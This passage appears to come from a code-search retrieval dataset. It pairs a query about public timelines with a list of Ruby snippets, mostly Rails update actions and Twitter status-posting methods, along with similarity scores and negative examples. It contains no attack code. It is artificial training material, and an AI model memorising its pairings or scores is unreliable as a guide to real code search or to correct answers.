"def update\n check_tweet_for_user\n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: 'Tweet was successfully updated.' }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_status\n if logged_in?\n\t find_record(params[:post_id])\n\t @read_progress.update(completed: param[:completed])\n end\n end",
"def tweet!\n TWITTER.update(\"#{title.truncate(75)} - #{tweet_users}\\n\\nhttp://beta.briefideas.org/ideas/#{sha}\")\n self.update_columns(:tweeted => true)\n end",
"def set_StatusUpdate(value)\n set_input(\"StatusUpdate\", value)\n end",
"def update_status() \n ContentProviderStatusItem.update(self)\n end",
"def auto_update_status \n if self.status == \"To Be Published\"\n self.status = \"Published\"\n end \n end",
"def update(attrs, user = @@default_user)\n attrs = { id: @id, project_token: @project_token }.merge(attrs)\n @attributes = send_request(\"statuses/#{attrs[:id]}\", :put) do |req|\n req.body = {\n status_object: attrs.slice(:name),\n token: attrs[:project_token],\n auth_token: user.auth_token\n }\n end\n end",
"def perform(twitter_id)\n # Followerships_update_started_at timestamp\n user = User.find_by_twitter_id(twitter_id)\n timestamp = user.followerships_update_started_at\n\n # Find outdated followerships\n outdated_followerships = user.followerships.where(\"last_active_at < ?\", timestamp)\n\n # Set is_active flag of outdated followerships to false\n outdated_followerships.each do |followership|\n followership.update_column(:is_active, false)\n end\n\n # Set follwerships_update_finished_at flag on user\n user.update_column(:followerships_update_finished_at, Time.zone.now)\n return\n end",
"def update\n @status = Status.find(params[:id])\n @status.state = 'sent'\n Feed.create(\n :user => @status.screen_name,\n :content => @status.text,\n :status_id => @status.id\n )\n respond_to do |format|\n if @status.save\n # format.html { redirect_to(@status, :notice => 'Status was successfully updated.') }\n format.html { redirect_to('/?type=auditing', :notice => \"消息 #{@status.text} 已成功发送至播放池,等待播放.\") }\n format.xml { head :ok }\n else\n # format.html { render :action => \"edit\" }\n format.html { redirect_to('/', :error => \"消息 #{@status.text} 无法投入播放池.\") }\n format.xml { render :xml => @status.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def postStatusUpdateClick( sender )\n \n\t # Post a status update to the user's feedm via the Graph API, and display an alert view \n\t # with the results or an error.\n\n\t message = \"Updating #{@loggedInUser[ :first_name ]}'s status at #{NSDate.date}\"\n\t params = { :message => message }\n\t \n\t # use the \"startWith\" helper static on FBRequest to both create and start a request, with\n\t # a specified completion handler.\n\t err = Pointer.new(:object)\n\t FBRequest.startWithGraphPath( \"me/feed\",\n\t\t parameters:params,\n\t\t HTTPMethod: \"POST\",\n\t\t completionHandler: lambda { |connection, result, error|\n\t\t\tself.showAlert( message, result: result, error: error )\n\t\t\[email protected] = true\n\t\t})\n\t \n\t @buttonPostStatus.enabled = false\n\tend",
"def update\n if @tweet.user == current_user\n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: \"Tweet was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to root_path, notice: \"You did not tweeted this tweet!\"\n end\n end",
"def status\n if current_user.admin?\n status_name = Post.statuses[params[:status_name]]\n respond_to do |format|\n if status_name\n @post.update(status: status_name)\n format.html { redirect_to @post, notice: \"Status successfully changed to #{params[:status_name].humanize}\" }\n else\n format.html { redirect_to @post, alert: \"Post was not updated. Invalid status name #{params[:status_name]}\" }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @post, alert: 'Post status was not updated. You must be an admin to update post status.' }\n end\n end\n end",
"def update!(**args)\n @status = args[:status] if args.key?(:status)\n @update_time = args[:update_time] if args.key?(:update_time)\n end",
"def twitt\n if PLANETOID_CONF[:twitter][:entries][:send_twitts] && self.published > self.feed.created_at\n twit=Twitter::Base.new(Twitter::HTTPAuth.new(PLANETOID_CONF[:twitter][:user], PLANETOID_CONF[:twitter][:password]))\n twit.update \"#{PLANETOID_CONF[:twitter][:entries][:prefix]} #{self.title[0..150]} #{self.url}\"\n end\n end",
"def update!(**args)\n @token_status = args[:token_status] if args.key?(:token_status)\n end",
"def update_query_status(total)\n @query_status.last_twid = @last_twid\n @query_status.last_run = Time.now.utc\n @query_status.last_result_count = total\n @query_status.save!\n end",
"def get_twitter_status\n logger.info 'Getting twitter'\n begin\n c = Grackle::Client.new\n twitter = c.statuses.user_timeline?(:screen_name => 'paulcarlile', :count => 2)\n rescue Grackle::TwitterError\n twitter = Grackle::TwitterError\n end\n end",
"def status=(status); end",
"def update_status\n self.status = board.status\n end",
"def update\n respond_to do |format|\n if tweet.save\n format.html { redirect_to tweets_path, notice: 'Tweet was successfully updated.' }\n format.json { render :show, status: :ok, location: tweet }\n else\n format.html { render :edit }\n format.json { render json: tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_status(new_status)\n profile_page = get_profile_page\n activity_hash = profile_page.at('#activityhash')['value'] rescue nil\n \n #Referer MUST be \"/profile.php\"\n ajax_post(profile_url, :setactivity => new_status.to_s, :activityhash => activity_hash).inspect\n end",
"def update_status(new_stat)\n\n attrs = ActionController::Parameters.new({status: new_stat, req_to_del_at: nil})\n self.update_attributes(attrs.permit(Team::PERMIT_BASE))\n end",
"def update(sender, message)\n puts \"#{self.name} received a tweet from #{sender.name}: #{message}\"\n end",
"def update_status\n case @part.status\n when 'Unstarted'\n @part.status = 'Started'\n @part.user = current_user\n @part.bitbucket.post_user(current_user.email) if @part.name == 'Prototype'\n @part.create_activity key: 'part.started', owner: current_user\n @part.start_rep_points\n when 'Started'\n @part.status = 'Finished'\n @part.create_activity key: 'part.finished', owner: current_user\n when 'Finished' \n @part.status = 'In Review'\n @part.create_activity key: 'part.in_review', owner: current_user\n when 'In Review'\n @part.status = 'Accepted'\n @part.accepted_rep_points\n @part.create_activity key: 'part.accepted', owner: current_user\n end\n @part.save\n redirect_to :back\n end",
"def share_location_on_twitter options={}\n if from_twitter?\n\n c_id = id\n c_id = \"4f696467043bac0001000002\" if Rails.env != \"production\"\n\n oauth = providers.where(provider: \"twitter\").first\n \n status_msg = self.swap_stat\n status_msg.gsub! /you/, \"me\" \n status_msg = \"On @myradddar! #{status_msg} http://www.radddar.com/#{c_id}\"\n\n Twitter.configure do |config|\n config.consumer_key = ENV[\"RDR_TWITTER_KEY\"]\n config.consumer_secret = ENV[\"RDR_TWITTER_SECRET\"]\n config.oauth_token = oauth[:token]\n config.oauth_token_secret = oauth[:secret]\n end\n\n client = Twitter::Client.new\n client.update(status_msg,{\n lat: self.loc[0],\n long: self.loc[1],\n }) rescue nil\n\n end\n end",
"def updateStatus\n result = Hash.new\n begin # try\n result = SubscribesHlp.updateStatus(params)\n rescue # catch\n result['status'] = false\n result['error'] = \"#{$!}\"\n ensure # finally\n render json: result\n end\n end",
"def update\n if [email protected]_id\n \n \n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to tweets_url, notice: 'Tweet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n elsif [email protected]_id\n \n\n \n redirect_to tweets_url, {notice: 'You Cannot update the tweet since you are not the author :p .'}\n end\n\n end",
"def update_status(status)\n self.status = status\n self.save! validate: false\n end",
"def update\n # Add in this #MDM\n @tweet = Tweet.find(params[:id]) \n \n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: 'Tweet was successfully updated.' }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tweet(tweet)\n\t\tclient = Twitter::REST::Client.new do |config|\n\t\tconfig.consumer_key = Rails.application.config.twitter_key\n\t\tconfig.consumer_secret = Rails.application.config.twitter_secret\n\t\tconfig.access_token = oauth_token\n\t\tconfig.access_token_secret = oauth_secret\n\tend\n\tclient.update(tweet)\n\tend",
"def update_status\n \t update_user_book = UsersBook.find(params[:id])\n \t update_user_book.status = params[:status]\n\n \t render :json => {:status => \"success\"}\n end",
"def update_status\n begin\n if self.service_test.status_changed?\n results = self.service_test.test_results.last(2)\n unless results.empty?\n case results.length\n when 1\n previous = TestResult.new_with_unknown_status\n when 2\n previous = results[0] \n end\n \n if USE_EVENT_LOG\n \n service = self.service_test.service\n \n ActivityLog.create(:action => \"status_change\",\n :data =>{:current_result_id => self.id, :previous_result_id =>previous.id },\n :activity_loggable => self.service_test,\n :referenced => service)\n \n current_status = ServiceCatalographer::Monitoring::TestResultStatus.new(self)\n previous_status = ServiceCatalographer::Monitoring::TestResultStatus.new(previous)\n \n \n if ENABLE_TWITTER\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so submitting a job to tweet about...\"\n msg = \"Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label} (#{self.created_at.strftime(\"%Y-%m-%d %H:%M %Z\")})\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::PostTweet.new(msg), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n unless MONITORING_STATUS_CHANGE_RECIPIENTS.empty?\n status_recipients_emails = MONITORING_STATUS_CHANGE_RECIPIENTS.dup\n \n if NOTIFY_SERVICE_RESPONSIBLE\n status_recipients_emails = status_recipients_emails + self.responsible_emails\n end\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so emailing the special set of recipients about it...\"\n subject = \"[#{SITE_NAME}] Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label}\"\n text = \"A monitoring test status change has occurred! Service '#{ServiceCatalographer::Util.display_name(service)}' has a test (#{self.service_test.test_type}, ID: #{self.service_test.test_id}) change status from #{previous_status.label} to #{current_status.label}. Last test result message: #{current_status.message}. Go to Service: #{ServiceCatalographer::Api.uri_for_object(service)}\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::StatusChangeEmails.new(subject, text, status_recipients_emails), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n end\n end\n end\n rescue Exception => ex\n logger.error(\"There was problems updating the status for service test : #{self.service_test.id}\")\n logger.error(ex)\n end\n end",
"def update_api_status()\n api_status = generate_api_status()\n if !api_status.nil? and !api_status.empty?\n HelperFunctions.write_file(HEALTH_FILE, api_status)\n end\n end",
"def update\n\n #LA\n #@status = current_user.statuses.find(status_params)\n\n #if (status_params) && (status_params).has_key?(:user_id)\n # (status_params).delete(:user_id) \n #end\n\n respond_to do |format|\n if @status.update(status_params)\n format.html { redirect_to statuses_url, notice: 'Status was successfully updated.' }\n format.json { render :show, status: :ok, location: @status }\n else\n format.html { render action: 'edit' }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_status_timestamp\n self.overall_status_modified_at = Time.zone.now\n end",
"def update\n puts \"Starting Twitter search for '#{@tag}'...\"\n save_tweets_for(@tag)\n print \"#{@tweets_found} tweets saved.\\n\\n\"\n end",
"def status_update\n @profile.update_attribute(\"status_message\", params[:value])\n render :text => @profile.send(\"status_message\") \n end",
"def update\n @twitter_user = TwitterUser.find(params[:id])\n\n respond_to do |format|\n if @twitter_user.update_attributes(params[:twitter_user])\n format.html { redirect_to @twitter_user, notice: 'Twitter user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @twitter_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_tw_stat\n @tw_stat = TwStat.find(params[:id])\n end",
"def update_follow_status(listing, status)\n unless id == listing.author.id\n if status\n follow(listing) unless is_following?(listing)\n else\n unfollow(listing) if is_following?(listing)\n end\n end\n end",
"def update\n @account = Account.find(params[:id])\n\n respond_to do |format|\n if @account.update_attributes(params[:account])\n #current_user.twitter.update(@account.content) if params[:twitter] == 'yes'\n #if params[:facebook] == 'yes'\n # current_user.facebook.feed!(:message => \"test\",\n # :link => \"http://moonkey.jp\",\n # :name => \"TEST\",\n # :description => \"test\")\n #end\n format.html { redirect_to accounts_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def twitt\n if PLANETOID_CONF[:twitter][:users][:send_twitts]\n twit=Twitter::Base.new(Twitter::HTTPAuth.new(PLANETOID_CONF[:twitter][:user], PLANETOID_CONF[:twitter][:password]))\n twit.update \"#{PLANETOID_CONF[:twitter][:users][:prefix]} #{self.name} #{PLANETOID_CONF[:site][:url]}/#{self.slug}\" \n end\n end",
"def update_status(status, options={})\n send_audit(:kind => :status, :text => status, :category => options[:category])\n end",
"def twitter_url(json)\n \"http://twitter.com/#{json['from_user']}/status/#{json['id']}\"\n end",
"def update_all_account_data\n tw_user = twitter_connection.user\n\n self.followers_count = tw_user.followers_count\n self.following_count = tw_user.friends_count\n self.tweets_count = tw_user.tweets_count\n self.avatar_url = \"#{tw_user.profile_image_url.scheme}://#{tw_user.profile_image_url.host}#{tw_user.profile_image_url.path.gsub('normal', '400x400')}\"\n self.username = \"@#{twitter_connection.user.screen_name}\"\n self.url = \"#{tw_user.url.scheme}://#{tw_user.url.host}#{tw_user.url.path}\"\n self.save\n self.fetch_latest_tweets(self.tweets.count > 0 ? self.tweets.maximum(:twitter_id) : nil) if tw_user.tweets_count > self.tweets.count\n end",
"def update!(**args)\n @status_content = args[:status_content] if args.key?(:status_content)\n @status_file_name = args[:status_file_name] if args.key?(:status_file_name)\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @tweet.update(tweet_params)\n\t\t\t\tformat.html { redirect_to @tweet, notice: 'Tweet was successfully updated.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @tweet }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @tweet.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update( status )\n\t\t\tNet::HTTP.version_1_2\n\t\t\treq = Net::HTTP::Post.new(@config.path)\n\t\t\treq.basic_auth(@user, @pass)\n\t\t\treq.body = status\n\n\t\t\tNet::HTTP.start( @config.host, 80 ) do |http|\n\t\t\t\tresponse = http.request(req)\n\t\t\t\tif response.body =~ /error/\n\t\t\t\t\traise 'update failed.'\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def statuses; end",
"def update_account(id)\n TwitterAccount.update(id, last_checked: Time.now)\n end",
"def update\n respond_to do |format|\n @tweet.assign_attributes(tweet_params)\n @tweet.uuid = session[:uid]\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: 'Tweet was successfully updated.' }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_status(m, params)\n friends = params[:friends]\n show_reply = @bot.config['twitter.status_show_replies']\n if m.message.match(/^twitter status reply/)\n show_reply = true\n elsif m.message.match(/^twitter status noreply/)\n show_reply = false\n end\n\n if @registry.has_key?(m.sourcenick + \"_access_token\")\n @access_token = YAML::load(@registry[m.sourcenick + \"_access_token\"])\n nick = params[:nick] || @access_token.params[:screen_name]\n else\n if friends\n if @has_oauth\n m.reply \"You are not authorized with Twitter. Please use 'twitter authorize' first to use this feature.\"\n else\n report_oauth_missing(m, \"I cannot retrieve your friends status\")\n end\n return false\n end\n nick = params[:nick]\n end\n\n if not nick\n m.reply \"you should specify the username of the twitter to use, or identify using 'twitter authorize'\"\n return false\n end\n\n count = friends ? @bot.config['twitter.friends_status_count'] : @bot.config['twitter.status_count']\n if show_reply\n request_count = count\n else \n request_count = [ count*5,50 ].max\n end\n user = URI.escape(nick)\n # receive the public timeline per default (this works even without an access_token)\n uri = \"https://api.twitter.com/1/statuses/user_timeline.xml?screen_name=#{user}&count=#{request_count}&include_rts=true\"\n if @has_oauth and @registry.has_key?(m.sourcenick + \"_access_token\")\n if friends\n #no change to count variable\n uri = \"https://api.twitter.com/1/statuses/friends_timeline.xml?count=#{request_count}&include_rts=true\"\n end\n response = @access_token.get(uri).body\n else\n response = @bot.httputil.get(uri, :cache => false)\n end\n debug response\n\n texts = []\n\n if response\n begin\n rex = REXML::Document.new(response)\n rex.root.elements.each(\"status\") { |st|\n # month, day, hour, min, sec, year = st.elements['created_at'].text.match(/\\w+ (\\w+) (\\d+) (\\d+):(\\d+):(\\d+) \\S+ (\\d+)/)[1..6]\n # debug [year, month, day, hour, min, sec].inspect\n # time = Time.local(year.to_i, month, day.to_i, hour.to_i, min.to_i, sec.to_i)\n time = Time.parse(st.elements['created_at'].text)\n now = Time.now\n # Sometimes, time can be in the future; invert the relation in this case\n delta = ((time > now) ? time - now : now - time)\n msg = st.elements['text'].to_s + \" (#{Utils.secs_to_string(delta.to_i)} ago via #{st.elements['source'].to_s})\"\n author = \"\"\n if friends\n author = Utils.decode_html_entities(st.elements['user'].elements['name'].text) + \": \" rescue \"\"\n end\n texts << author+Utils.decode_html_entities(msg).ircify_html\n }\n if friends\n # friends always return the latest 20 updates, so we clip the count\n texts[count..-1]=nil\n end\n rescue\n error $!\n if friends\n m.reply \"could not parse status for #{nick}'s friends\"\n else\n m.reply \"could not parse status for #{nick}\"\n end\n return false\n end\n if !show_reply\n nonreplytexts = texts.grep(/^[^@]/)\n if nonreplytexts.length > 0\n texts = nonreplytexts\n end\n end\n # Make sure we have the right number\n texts[count..-1]=nil\n if texts.empty?\n m.reply \"No status updates!\"\n else\n m.reply texts.reverse.join(\"\\n\")\n end\n return true\n else\n if friends\n rep = \"could not get status for #{nick}'s friends\"\n rep << \", try asking in private\" unless m.private?\n else\n rep = \"could not get status for #{nick}\"\n end\n m.reply rep\n return false\n end\n end",
"def update\n respond_to do |format|\n if @tweet.update_attributes(params[:tweet])\n format.html { redirect_to user_tweet_path(@user, @tweet), notice: 'Tweet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_status\n response = @api.get(@cloud.url(:status, @process_id), no_callbacks: true, token: @cloud.access_token.token)\n @progress = response['ProgressPercents'].to_i\n @progress\n end",
"def update\n @tweet.update(tweet_params)\n respond_with(@tweet)\n end",
"def refresh_status!\n update!(:status => 'new') if status.nil?\n update!(:status => 'ack') if acked?\n update!(:status => 'nack') if nacked?\n update!(:status => 'push') if pushed?\n end",
"def on_timeline(tweet)\n end",
"def update_all_statuses\n updated_users = []\n\n @statuses.keys.each do |user|\n updated_users << user if update_status_for user\n end\n\n updated_users\n end",
"def update\r\n respond_to do |format|\r\n if @tweet.update(tweet_params)\r\n format.html { redirect_to @tweet, notice: \"Tweet was successfully updated.\" }\r\n format.json { render :show, status: :ok, location: @tweet }\r\n else\r\n format.html { render :edit, status: :unprocessable_entity }\r\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def change_status(object, status)\n object.update_attribute :status, status\n end",
"def update_profile_complete(status)\n update_column(:profile_complete, status)\n end",
"def update\n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: \"Tweet was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: \"Tweet was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tweet.update(tweet_params)\n format.html { redirect_to @tweet, notice: \"Tweet was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tweet }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tweet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def tweet_update(daisukidayo, id = nil)\n option = {}\n option[:in_reply_to_status_id] = id if id\n @client.update(daisukidayo, option)\n end"
] | [
"0.8182144",
"0.79290605",
"0.7768913",
"0.7703261",
"0.76670605",
"0.76600397",
"0.75707644",
"0.7537046",
"0.73447394",
"0.7336132",
"0.72876847",
"0.72091043",
"0.7194297",
"0.7086906",
"0.7078697",
"0.69665325",
"0.6768695",
"0.6758955",
"0.6758955",
"0.6758955",
"0.6758955",
"0.6758955",
"0.6758955",
"0.6670757",
"0.6668175",
"0.6643132",
"0.6626176",
"0.66227335",
"0.6619364",
"0.6616078",
"0.6611813",
"0.66116095",
"0.6605584",
"0.65979683",
"0.6590866",
"0.65856075",
"0.6580746",
"0.6566796",
"0.65625834",
"0.65236175",
"0.65164584",
"0.65140325",
"0.65070504",
"0.64945316",
"0.6482333",
"0.6476391",
"0.64483225",
"0.64431924",
"0.64401895",
"0.6437984",
"0.6420137",
"0.6416016",
"0.6415141",
"0.6396272",
"0.639285",
"0.6376541",
"0.6376158",
"0.6367576",
"0.63645905",
"0.6362282",
"0.6362164",
"0.63588995",
"0.63410234",
"0.63383514",
"0.6331551",
"0.63286984",
"0.6326278",
"0.6323851",
"0.6319979",
"0.6319932",
"0.63171333",
"0.63140804",
"0.6300124",
"0.6294028",
"0.62900656",
"0.62826896",
"0.6277047",
"0.6274256",
"0.62693554",
"0.62659764",
"0.6258137",
"0.6250423",
"0.6248168",
"0.62466323",
"0.62428296",
"0.62426937",
"0.62221265",
"0.6202402",
"0.62008095",
"0.61956716",
"0.6188728",
"0.61861706",
"0.618556",
"0.618413",
"0.6166464",
"0.6165169",
"0.61549824",
"0.61549824",
"0.61549824",
"0.61546224"
] | 0.72760075 | 11 |
public method for getting public timelines | def public_timeline
call( 'statuses/public_timeline.json' )
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def public_timeline\n Chirpy.public_timeline\n end",
"def index\n @time_lines = TimeLine.all\n end",
"def timeline\n []\n end",
"def parse_timeline\n\nend",
"def timeline(action=nil)\n timelines.mine.all(action)\n end",
"def list_lines\n RailLine.list_lines\n end",
"def index\n @timelines = Timeline.all.order(:name)\n end",
"def getLines\n\t\t@lines\n\tend",
"def timeline\n request('timeline')\n end",
"def get_schedules\n ret=[]\n #puts \"==============teachings=#{self.teachings.to_a}\"\n self.teachings.to_a.each do |teaching|\n teaching.schedules.each do |schedule|\n ret << schedule\n end\n end\n ret\n end",
"def time_trackings\n Easybill::Api::TimeTrackings\n end",
"def time_entries\n get_ticket_property_list(\"time_entries\" , Unfuddled::TimeEntry)\n end",
"def timings\n\t\treturn [] unless self.timing_line?\n\t\ta,b = @value.split(' --> ')\n\t\treturn [SubtitleTiming.new(a), SubtitleTiming.new(b)]\n\tend",
"def timeline()\n timeline = @params[:timeline]\n blockTimeline = s(:block, nil)\n n = timeline.size\n\n only_exec_evts = timeline.reject { |x| x[:stop] == -1 }.size() == 0 \n timeline.push(timeline_event(\"__all__\", 0, @duration)) if only_exec_evts\n \n to_stop = timeline.sort { |x,y| x[:stop] <=> y[:stop] }\n to_stop.delete_if { |x| x[:stop] == -1 } \n to_start = timeline.sort { |x,y| x[:start] <=> y[:start] }\n \n tm = empty_init_object\n timeline_tm = 0\n i = 1\n\n while (to_start.size > 0 or to_stop.size > 0) do\n prev_tm = tm\n tm = timeline_get_tm(tm, to_start, to_stop)\n wait_time = tm[:tm] - prev_tm[:tm]\n i -= 1\n blockTimeline[i+=1] = waitStatement(wait_time) if wait_time.to_i > 0\n if tm[:action] == \"start\"\n blockTimeline[i+1] = groupStart(tm[:group])\n elsif tm[:action] == \"stop\"\n blockTimeline[i+1] = groupStop(tm[:group])\n elsif tm[:action] == \"command\"\n blockTimeline[i+1] = groupExec({:group => tm[:group], :command => tm[:command]})\n end\n i += 2\n end\n blockTimeline[i] = experimentDone()\n return blockTimeline\n end",
"def entries\n settings.time_entries.present? ? settings.time_entries : []\n end",
"def timeline\n twitter.home_timeline\n end",
"def create_timeline(time_period, is_weekday, is_shortest_Path)\n if is_shortest_Path == 'true'\n # This timeline is based on the shortest path to destination station without time consideration hence, the time for the interchange is assumed a large amount so the algorhythm calculates the path with least number of interchanges.\n @timeline =\n [['NS', 1, 10, 1000], ['EW', 1, 10, 1000], ['CG', 1, 10, 1000], ['NE', 1, 10, 1000],\n ['CC', 1, 10, 1000], ['CE', 1, 10, 1000], ['DT', 1, 10, 1000], ['TE', 1, 10, 1000]]\n else\n # This timeline is based on the shortest path with time consideration.\n if time_period == 'peak' && is_weekday\n @timeline =\n [['NS', 1, 12, 15], ['EW', 1, 10, 15], ['CG', 1, 10, 15], ['NE', 1, 12, 15],\n ['CC', 1, 10, 15], ['CE', 1, 10, 15], ['DT', 1, 10, 15], ['TE', 1, 10, 15]]\n\n elsif time_period == 'night'\n @timeline =\n [['NS', 1, 10, 10], ['EW', 1, 10, 10], ['CG', 0, 0, 0], ['NE', 1, 10, 10],\n ['CC', 1, 10, 10], ['CE', 0, 0, 0], ['DT', 0, 0, 0], ['TE', 1, 8, 10]]\n\n else\n @timeline =\n [['NS', 1, 10, 10], ['EW', 1, 10, 10], ['CG', 1, 10, 10], ['NE', 1, 10, 10],\n ['CC', 1, 10, 10], ['CE', 1, 10, 10], ['DT', 1, 8, 10], ['TE', 1, 8, 10]]\n\n end\n end\n end",
"def timeline(options = {})\n self.class.history.timeline(self, options)\n end",
"def timeline(options = {})\n self.class.history.timeline(self, options)\n end",
"def lines\n @lines ||= build_lines\n end",
"def index\n if params[:tag]\n @tag = Tag.find_by_name(params[:tag])\n @timelines = @tag.timelines.where(\"user_id > 0\").order(\"CREATED_AT DESC\")\n else\n @timelines = Timeline.where(\"user_id > 0\").order(\"CREATED_AT DESC\")\n end \n end",
"def get_data_for_time_span()\n set_schedule_query_params\n\n @t1 = Time.at(@t1.to_i)\n @t2 = Time.at(@t2.to_i)\n\n @rsrcs = @config.resource_list # ScheduledResource.resource_list\n\n @blockss = ScheduledResource.get_all_blocks(@config, @t1, @t2, @inc)\n\n json_adjustments\n end",
"def chart_life_lines class_name, events\n es = method_events(events).select {|e| e.class_name == class_name }\n names = es.map(&:method_name).uniq\n life_lines_tt names, es\nend",
"def index\n @timelines = Timeline.where(user_id: current_user.id).order(:name)\n respond_to do |format|\n format.turbo_stream { render \"shared/index\", locals: { object: Timeline.new, objects: @timelines } }\n end\n end",
"def time_travel_offsets\n @time_travel_offsets ||= []\n end",
"def time_entries(options = {})\n entries = []\n time_invested(options).groups.each { |g| entries << g[\"time_entries\"] }\n\n process_list_response( entries.flatten , Unfuddled::TimeEntry )\n end",
"def lines\n @lines\nend",
"def timeline\n\t\t\t\tbookmarks_loader(Time.now, doorkeeper_token.resource_owner_id) \n\t\t\t\tbookmarks_formatter\t\t\t\t\n\t\t\tend",
"def all_suite_times; end",
"def all_suite_times; end",
"def init_timeline_simple()\n unless @tasks.size == 0\n #puts \"init\"\n @timelines[0].add_event(@tasks.pop)\n end\n nil\n end",
"def show\n # trying to place things on timeline\n # (D / T) * (# of pixels in the line)\n if @timeline.events.where(\"user_id > 0\").count > 0\n events = @timeline.events.where(\"user_id > 0\").order(\"date ASC\")\n @start_date = events.first.date\n end_date = events.last.date\n @total_time_length = end_date - @start_date\n end\n end",
"def time_log_entries(user_id, started_at, stopped_at, project_id)\n result = TimeLogEntry::Flex.by_user(user_id)\n if started_at.present? && stopped_at.present?\n result = result.after_stopped_at(started_at.sub(' ', 'T'))\n result = result.before_started_at(stopped_at.sub(' ', 'T'))\n end\n result = result.by_project(project_id) if project_id.present?\n result.map{ |found_element| found_element['_source'] }\n end",
"def linked_timezones\n @linked_timezones.freeze\n end",
"def generate_timeline\n \n ## LaTeX headers\n p = '\\documentclass[oneside,a4paper]{article}'\n p << \"\\\\usepackage[#{@language}]{babel}\"\n p << '\\usepackage{tikz}'\n p << '\\usepackage{geometry}'\n\n p << @extra_latex_packages\n p << \"\\\\geometry{paperwidth=#{@total_width}cm, paperheight=#{@total_height}cm, top=#{@v_margin}cm, bottom=#{@v_margin}cm, left=#{@l_margin}cm, right=#{@r_margin}cm}\"\n p << '\\begin{document}'\n p << '\\pagestyle{empty}'\n p << '\\thispagestyle{empty}'\n p << '\\sffamily'\n\n ## Title\n p << \"\\\\begin{center}\\\\Huge\\\\textbf{#{@title}}\\\\end{center}\"\n\n p << '\\begin{tikzpicture}[scale=1]'\n p << generate_timeline_area()\n\n if @display_calendar\n p << generate_calendar_area()\n end\n\n if @display_time\n p << generate_time_area()\n end\n\n p << '\\end{tikzpicture}'\n p << '\\end{document}'\n\nend",
"def getTimes()\n return @times\n end",
"def tfl_journey_planner\n Tube.display_lines\n get_start_line\n Station.list_all_stations(@start_line)\n get_start_station\n Tube.display_lines\n get_end_line\n get_end_station\n print_stations_en_route\n end",
"def completed_lines\n lines\n end",
"def doGetTimelineTweetArray(obsolete, params)\n end",
"def next_public_timeline\n #If this is not the first call of this method, the 'since_id'\n #parameter will be used to fetch entries from that position on.\n param_str = @last_id ? \"?since_id=#{@last_id}\" : \"\"\n doc = REXML::Document.new open(\"http://twitter.com/statuses/public_timeline.xml#{param_str}\").read\n statuses = []\n doc.elements.each(\"/statuses/status\") do |status| \n user = status.elements['user']\n location = user.elements['location'].text || \"unknown\"\n time = Time.parse(status.elements['created_at'].text).strftime(\"%Y%m%d%H%M%S\")\n statuses << {:id => status.elements['id'].text, \n :text => status.elements['text'].text, \n :username => user.elements['name'].text,\n :userid => user.elements['id'].text,\n :time => time,\n :location => location}\n end\n statuses\n end",
"def get_timetable\n @timetable_parser.get_timetable_for_course(@courseCode, @year)\n end",
